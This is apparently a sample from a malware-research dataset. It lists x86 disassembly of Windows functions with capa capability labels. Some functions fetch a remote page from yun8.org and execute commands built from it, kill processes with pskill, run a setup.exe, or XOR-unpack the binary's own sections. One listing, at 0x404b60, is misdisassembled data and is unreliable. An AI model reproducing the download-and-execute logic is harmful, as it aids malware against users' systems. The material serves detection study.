joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403f70
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push section..rdata
push 0x405848
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffa8
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
call dword [sym.imp.KERNEL32.dll_GetVersion]
xor edx, edx
mov dl, ah
mov dword [0x40ccfc], edx
mov ecx, eax
and ecx, 0xff
mov dword [0x40ccf8], ecx
shl ecx, 8
add ecx, edx
mov dword [0x40ccf4], ecx
shr eax, 0x10
mov dword [0x40ccf0], eax
call fcn.00405710
test eax, eax
jne 0x403fda
push 0x1c
call fcn.00404110
add esp, 4
mov dword [ebp - 4], 0
call fcn.00405510
call fcn.00405500
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x40d10c], eax
call fcn.004050d0
mov dword [0x40ccc8], eax
test eax, eax
je 0x40400d
mov eax, dword [0x40d10c]
test eax, eax
jne 0x404017
push 0xffffffffffffffff
call fcn.004049f0
add esp, 4
call fcn.00404e20
call fcn.00404d30
call fcn.004049c0
mov esi, dword [0x40d10c]
mov dword [ebp - 0x64], esi
cmp byte [esi], 0x22
jne 0x4040f6
inc esi
mov dword [ebp - 0x64], esi
mov al, byte [esi]
cmp al, 0x22
je 0x40405e
test al, al
je 0x40405e
and eax, 0xff
push eax
call fcn.00404cd0
add esp, 4
test eax, eax
je 0x404038
inc esi
mov dword [ebp - 0x64], esi
jmp 0x404038
cmp byte [esi], 0x22
jne 0x404067
inc esi
mov dword [ebp - 0x64], esi
mov al, byte [esi]
test al, al
je 0x404077
cmp al, 0x20
ja 0x404077
inc esi
mov dword [ebp - 0x64], esi
jmp 0x404067
mov dword [ebp - 0x30], 0
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x30], 1
je 0x404098
mov eax, dword [ebp - 0x2c]
and eax, 0xffff
jmp 0x40409d
mov eax, 0xa
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x60], eax
push eax
call fcn.004049f0
jmp 0x4040db
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0x20
jbe 0x404067
inc esi
mov dword [ebp - 0x64], esi
jmp 0x4040f6

Function at 0x404a30
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x40cd2c]
push ebx
push ebp
mov ebp, dword [esp + 0xc]
cmp eax, 1
push esi
jne 0x404a4f
push ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
test eax, eax
mov dword [0x40cd28], 1
mov byte [0x40cd24], bl
jne 0x404aa9
mov ecx, dword [0x40d108]
test ecx, ecx
je 0x404a97
mov esi, dword [0x40d104]
sub esi, 4
cmp esi, ecx
jb 0x404a97
mov eax, dword [esi]
test eax, eax
je 0x404a90
call eax
mov ecx, dword [0x40d108]
sub esi, 4
cmp esi, ecx
jae 0x404a82
push 0x40a01c
push 0x40a018
call fcn.00404ae0
add esp, 8
push 0x40a024
push 0x40a020
call fcn.00404ae0
add esp, 8
test ebx, ebx
jne 0x404ad0
push ebp
mov dword [0x40cd2c], 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
pop ebp
pop ebx
ret
Function at 0x4050d0
Capabilities:
Query environment variable

Disassembly:
mov eax, dword [0x40ce40]
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push esi
xor esi, esi
xor ebx, ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
test eax, eax
jne 0x405112
call edi
mov esi, eax
test esi, esi
je 0x4050fc
mov eax, 1
jmp 0x40510d
call ebp
mov ebx, eax
test ebx, ebx
je 0x40521f
mov eax, 2
mov dword [0x40ce40], eax
cmp eax, 1
jne 0x4051b2
test esi, esi
jne 0x40512b
call edi
mov esi, eax
test esi, esi
je 0x40521f
cmp word [esi], 0
mov eax, esi
je 0x405145
add eax, 2
cmp word [eax], 0
jne 0x405133
add eax, 2
cmp word [eax], 0
jne 0x405133
sub eax, esi
push 0
sar eax, 1
inc eax
push 0
mov ebp, eax
push 0
push 0
push ebp
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
je 0x4051a4
push edi
call fcn.00404190
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x4051a4
push 0
push 0
push edi
push ebx
push ebp
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jne 0x405196
push ebx
call fcn.00404140
add esp, 4
xor ebx, ebx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
cmp eax, 2
jne 0x40521f
test ebx, ebx
jne 0x4051c3
call ebp
mov ebx, eax
test ebx, ebx
je 0x40521f
mov cl, byte [ebx]
mov eax, ebx
test cl, cl
je 0x4051db
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4051cb
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4051cb
sub eax, ebx
inc eax
mov esi, eax
push esi
call fcn.00404190
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x4051fd
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov ecx, esi
mov esi, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x405960
Capabilities:
Write file on windows

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x1a8
mov eax, 0x40a388
push ebx
push ebp
push esi
push edi
xor ebp, ebp
cmp ecx, dword [eax]
je 0x405984
add eax, 8
inc ebp
cmp eax, 0x40a418
jb 0x405975
cmp ecx, dword [ebp*8 + 0x40a388]
jne 0x405b2b
mov eax, dword [0x40ccd0]
cmp eax, 1
je 0x405aed
test eax, eax
jne 0x4059b0
cmp dword [0x40a1c8], 1
je 0x405aed
cmp ecx, 0xfc
je 0x405b2b
lea eax, [esp + 0xb4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4059eb
mov ecx, 5
mov esi, str._program_name_unknown_
lea edi, [esp + 0xb4]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xb4]
or ecx, 0xffffffff
xor eax, eax
lea ebx, [esp + 0xb4]
repne scasb al, byte es:[edi]
not ecx
cmp ecx, 0x3c
jbe 0x405a34
lea edi, [esp + 0xb4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 3
mov ebx, ecx
lea ecx, [esp + 0xb8]
sub ecx, 0x3b
push 0x409324
add ebx, ecx
push ebx
call fcn.00407160
add esp, 0xc
mov ecx, 6
mov esi, str.Runtime_Error__n_nProgram:
lea edi, [esp + 0x14]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
or ecx, 0xffffffff
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x14]
and ecx, 3
push 0x12010
rep movsb byte es:[edi], byte [esi]
mov edi, 0x409304
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.Microsoft_Visual_C_Runtime_Library
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp*8 + 0x40a38c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.004070d0
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a8
ret
mov eax, dword [0x40d000]
test eax, eax
je 0x405afe
mov esi, dword [eax + 0x10]
cmp esi, 0xffffffff
jne 0x405b08
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
mov edx, dword [ebp*8 + 0x40a38c]
lea ecx, [esp + 0x10]
push 0
push ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a8
ret
Function at 0x4010e0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404c21
mov eax, dword fs:[0]
push eax
sub esp, 0x848
mov eax, dword [0x408018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
xor esi, esi
push esi
push esi
push esi
push esi
push str.RookIE_1.0
mov dword [ebp - 0x850], eax
mov dword [ebp - 0x854], ecx
mov dword [ebp - 0x84c], 1
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
jne 0x401148
mov eax, 1
jmp 0x4012eb
push 0
push 0x4000000
push 0
push 0
push str.http:__www.yun8.org_update_windows_index.html
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
je 0x40113e
cmp dword [ebp - 0x84c], esi
jbe 0x401196
lea ecx, [ecx]
lea edx, [ebp - 0x84c]
push edx
push 0x3ff
lea eax, [ebp - 0x810]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 0x84c]
add esi, eax
test eax, eax
jne 0x401170
mov byte [ebp + esi - 0x810], 0
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push ebx
call esi
lea ecx, [ebp - 0x810]
push ecx
lea edx, [ebp - 0x410]
push 0x405278
push edx
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
xor ebx, ebx
lea eax, [ebp - 0x410]
mov dword [ebp - 0x818], 0xf
mov dword [ebp - 0x81c], ebx
mov byte [ebp - 0x82c], bl
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4011e7
sub eax, ecx
mov edi, eax
lea eax, [ebp - 0x410]
lea esi, [ebp - 0x82c]
call fcn.00403440
push 1
mov eax, esi
push eax
mov dword [ebp - 4], ebx
call fcn.00402dd0
mov ecx, esi
push eax
push ecx
xor ebx, ebx
lea esi, [ebp - 0x848]
call fcn.00401f60
mov esi, dword [ebp - 0x850]
mov edi, eax
mov byte [ebp - 4], 1
call fcn.00402b70
mov byte [ebp - 4], bl
cmp dword [ebp - 0x834], 0x10
jb 0x40124e
mov edx, dword [ebp - 0x848]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov esi, dword [ebp - 0x81c]
push 1
lea eax, [ebp - 0x82c]
push eax
call fcn.00402dd0
push esi
lea ecx, [ebp - 0x82c]
lea ebx, [eax + 1]
push ecx
lea esi, [ebp - 0x848]
call fcn.00401f60
mov esi, dword [ebp - 0x854]
mov edi, eax
mov byte [ebp - 4], 2
call fcn.00402b70
mov ebx, dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
mov edi, 0x10
cmp dword [ebp - 0x834], edi
jb 0x4012a8
mov edx, dword [ebp - 0x848]
push edx
call ebx
add esp, 4
mov eax, dword [ebp - 0x850]
cmp dword [eax + 0x10], 0
je 0x4012d2
cmp dword [esi + 0x10], 0
je 0x4012d2
cmp dword [ebp - 0x818], edi
jb 0x4012ce
mov ecx, dword [ebp - 0x82c]
push ecx
call ebx
add esp, 4
xor eax, eax
jmp 0x4012eb
cmp dword [ebp - 0x818], edi
jb 0x4012e6
mov edx, dword [ebp - 0x82c]
push edx
call ebx
add esp, 4
mov eax, 2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00403f3c
mov esp, ebp
pop ebp
ret
Function at 0x401670
Capabilities:
Create process on windows
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404d31
mov eax, dword fs:[0]
push eax
sub esp, 0x260
mov eax, dword [0x408018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x218]
push 0
push eax
mov ebx, ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x218]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
lea eax, [ebp - 0x218]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4016d1
sub eax, edx
sar eax, 1
lea edi, [eax + eax]
push edi
call dword [sym.imp.MSVCR100.dll_malloc]
push edi
lea edx, [ebp - 0x218]
mov esi, eax
push edx
push esi
call dword [sym.imp.MSVCR100.dll_wcstombs]
mov eax, esi
add esp, 0x10
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401703
sub eax, edi
mov edi, eax
mov eax, esi
mov esi, ebx
call fcn.00403440
push str.mycloud_update
lea eax, [ebp - 0x250]
push ebx
push eax
call fcn.00403870
add esp, 0xc
mov edi, eax
mov dword [ebp - 4], 0
call fcn.00402b70
cmp dword [ebp - 0x23c], 0x10
jb 0x401753
mov ecx, dword [ebp - 0x250]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x220], 0xf
mov dword [ebp - 0x224], 0
mov byte [ebp - 0x234], 0
lea edx, [ebp - 0x26c]
push 0x4052a0
push edx
mov dword [ebp - 4], 1
call fcn.00403950
add esp, 8
mov edi, eax
lea esi, [ebp - 0x234]
mov byte [ebp - 4], 2
call fcn.00402b70
mov esi, 0x10
cmp dword [ebp - 0x258], esi
jb 0x4017b7
mov eax, dword [ebp - 0x26c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [ebp - 0x234]
cmp dword [ebp - 0x220], esi
jae 0x4017cb
lea eax, [ebp - 0x234]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp dword [ebp - 0x220], esi
jb 0x4017ec
mov ecx, dword [ebp - 0x234]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00403f3c
mov esp, ebp
pop ebp
ret
Function at 0x401a50
Capabilities:
Create process on windows
Execute command

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404ba0
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x408018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
push ebx
mov dword [ebp - 4], ebx
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
push str.pskill_update
call esi
push ebx
push str.pskill_dns_ip
call esi
push ebx
push str.pskill_heart
call esi
push ebx
push str.pskill_curl
call esi
push ebx
push str.apache_binpv__f__k_httpd.exe__q
call esi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push str.pskill_httpd.exe
call esi
lea eax, [ebp + 8]
push eax
or eax, 0xffffffff
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.00402c70
push 0xa
mov eax, str._setup.exe
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.00403320
mov eax, dword [ebp - 0x2c]
mov esi, 0x10
cmp dword [ebp - 0x18], esi
jae 0x401aff
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCR100.dll_system]
mov ebx, dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
cmp dword [ebp - 0x18], esi
jb 0x401b1d
mov ecx, dword [ebp - 0x2c]
push ecx
call ebx
add esp, 4
xor eax, eax
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x2c], al
cmp dword [ebp + 0x1c], esi
jb 0x401b3a
mov edx, dword [ebp + 8]
push edx
call ebx
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00403f3c
mov esp, ebp
pop ebp
ret
Function at 0x403080
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404ae8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x408018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x403212
cmp byte [ebx + 0x49], 0
je 0x403212
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x403206
lea esi, [ebp - 0x2c]
call fcn.00402b10
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x4030f3
lea edx, [ebp - 0x2c]
mov eax, edx
lea ecx, [ebp - 0x30]
push ecx
mov ecx, dword [ebp - 0x1c]
add ecx, edx
push ecx
mov ecx, dword [ebx + 0x44]
push eax
lea eax, [ebx + 0x4c]
push eax
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x40312b
dec eax
je 0x40312f
sub eax, 2
lea esi, [ebp - 0x2c]
je 0x40320d
call fcn.00401f30
xor al, al
jmp 0x403214
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x40313f
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x40316d
cmp edi, 0x10
jae 0x40314e
lea eax, [ebp - 0x2c]
mov edx, dword [ebx + 0x54]
push edx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x4031fe
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x40320a
test esi, esi
jne 0x4030e7
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x40322f
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x40322f
cmp edi, esi
jae 0x4031e7
push ecx
push esi
lea eax, [ebp - 0x2c]
push eax
call fcn.004036b0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x4030e7
mov ecx, eax
cmp edi, 0x10
jae 0x4031c3
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x4031de
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x4030e1
test esi, esi
jne 0x4031b9
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x4031f6
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x4030e1
lea esi, [ebp - 0x2c]
call fcn.00401f30
xor al, al
jmp 0x403214
lea esi, [ebp - 0x2c]
call fcn.00401f30
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00403f3c
mov esp, ebp
pop ebp
ret
push str.string_too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3

Function at 0x403f3c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x408018]
jne 0x403f46
repz ret
jmp fcn.00404254
Function at 0x404b60
Capabilities:
Encode data using xor

Disassembly:
cmp edx, ecx
jae 0x404b4d
mov eax, dword [ecx - 0x1e]
cmp dword [esi - 0x247abdfc], 0x74
int1
test ebx, ebx
je 0x404b3e
mov eax, dword [ebx - 0x7b]
xlatb
mov dword [ebp - 0xc], ebx
je 0x404b7a
mov ebx, dword [ebx]
test dword [esi - 0x77], ebp
sbb byte [ebp + 0x15], dh
cmp edx, ecx
jb 0x404b73
mov eax, dword [esi + 0x4e883fc]
dec ecx
test edx, edx
push eax
add al, 0x85
and dword [edi - 0xf], esi
mov dword [edi], ecx
mov ebx, dword [ebp + 1]
mov eax, ebp
or byte [ebx - 0x3eadf7b5], cl
dec ebx
or byte [edx - 0x3f], dl
mov dword [edi + 0x42], eax
mov ecx, eax
mov eax, dword [edi + 4]
mov dh, 0xc8
jbe 0x404b49
mov dword [edi + 8], eax
mov edi, dword [edi + 0xc]
test dword [ebp - 0x17a8105a], ebx
cmpsb byte [esi], byte es:[edi]
push edi
add byte [eax], al
lea edx, [ebx - 0x62]
mov dword [ebx + 0x10], edx
jmp 0x404c3f
mov dword [ebx], 0x5d
mov ecx, ebx
mov edx, dword [ebp - 0x3a]
cmp ebp, dword [eax + 0xc41c7d2]
add byte [eax], al
add byte [eax], al
add edx, eax
mov dword [ecx + 0x10], edx
mov edx, dword [esi + 4]
mov dword [ecx + 4], edx
mov dword [edx], ecx
or byte [ebp + 0x34], dl
mov dword [ecx], esi
mov dword [esi + 4], ecx
mov ebx, ebx
sub al, 0xfb
dec esi
adc al, 0x8b
jle 0x404c82
mov bl, 0xcf
mov ebx, dword [eax + 0xf]
rol dword [eax], 0x10
add byte [eax], al
push ebp
xlatb
jle 0x404c61
push ebx
sub edi, edi
dec dword [ecx - 0x3f]
sahf
or al, 0x89
dec esi
or al, 0x8b
pop edx
or al, 0x3b
mov ch, 0x73
and esi, ebx
adc bh, byte [ebx]
dec edx
or al, 0x23
invalid

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x7d34278c
nop
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
mov ecx, 0x78f96501
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x10001650
Capabilities:
Query environment variable

Disassembly:
push 0xffffffffffffffff
push 0x100eb1c2
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
mov eax, dword [0x1011f07c]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov esi, ecx
lea ecx, [esp + 8]
mov dword [esp + 0xc], 0
call dword [0x100f3984]
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], 0
call dword [0x100f3984]
push 0x7fff
push 0x7fff
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], 1
call dword [sym.imp.mfc90u.dll_ATL::CSimpleStringT_wchar_t_1_::GetBuffer]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0xffffffffffffffff
lea ecx, [esp + 0xc]
call dword [sym.imp.mfc90u.dll_ATL::CSimpleStringT_wchar_t_1_::ReleaseBuffer]
mov eax, dword [esp + 8]
cmp dword [eax - 0xc], 0
jne 0x100016dc
push esi
lea ecx, [esp + 0xc]
call dword [sym.imp.mfc90u.dll_ATL::CStringT_wchar_t_class_StrTraitMFC_DLL_wchar_t_class_ATL::ChTraitsCRT_wchar_t_____::operator_1]
mov esi, dword [esp + 8]
push 0x104
push 0x104
lea ecx, [esp + 0x14]
call dword [sym.imp.mfc90u.dll_ATL::CSimpleStringT_wchar_t_1_::GetBuffer]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
push 0xffffffffffffffff
lea ecx, [esp + 0x10]
call dword [sym.imp.mfc90u.dll_ATL::CSimpleStringT_wchar_t_1_::ReleaseBuffer]
mov ecx, dword [esp + 0xc]
cmp dword [ecx - 0xc], 0
mov ecx, ebx
jne 0x1000171b
lea edx, [esp + 8]
push edx
jmp 0x10001720
lea eax, [esp + 0xc]
push eax
call dword [0x100f3988]
lea ecx, [esp + 0xc]
call dword [sym.imp.mfc90u.dll_ATL::CStringT_wchar_t_class_StrTraitMFC_DLL_wchar_t_class_ATL::ChTraitsCRT_wchar_t_____::CStringT_wchar_t_clas]
lea ecx, [esp + 8]
call dword [sym.imp.mfc90u.dll_ATL::CStringT_wchar_t_class_StrTraitMFC_DLL_wchar_t_class_ATL::ChTraitsCRT_wchar_t_____::CStringT_wchar_t_clas]
mov eax, ebx
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x14
ret

Function at 0x10001750
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x100eba09
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x1011f07c]
xor eax, esp
push eax
lea eax, [esp + 8]
mov dword fs:[0], eax
lea ecx, [esp + 4]
mov dword [esp + 4], 0
call dword [0x100f3984]
mov eax, dword [esp + 0x18]
push 0
push eax
push 0x104
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c], 0
call dword [sym.imp.mfc90u.dll_ATL::CSimpleStringT_wchar_t_1_::GetBufferSetLength]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x100017b5
mov ecx, dword [esp + 4]
push ecx
jmp 0x100017b7
push 0
mov ecx, esi
call dword [sym.imp.mfc90u.dll_ATL::CStringT_wchar_t_class_StrTraitMFC_DLL_wchar_t_class_ATL::ChTraitsCRT_wchar_t_____::CStringT_wchar_t_class]
lea ecx, [esp + 4]
call dword [sym.imp.mfc90u.dll_ATL::CStringT_wchar_t_class_StrTraitMFC_DLL_wchar_t_class_ATL::ChTraitsCRT_wchar_t_____::CStringT_wchar_t_clas]
mov eax, esi
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
pop ecx
add esp, 0x10
ret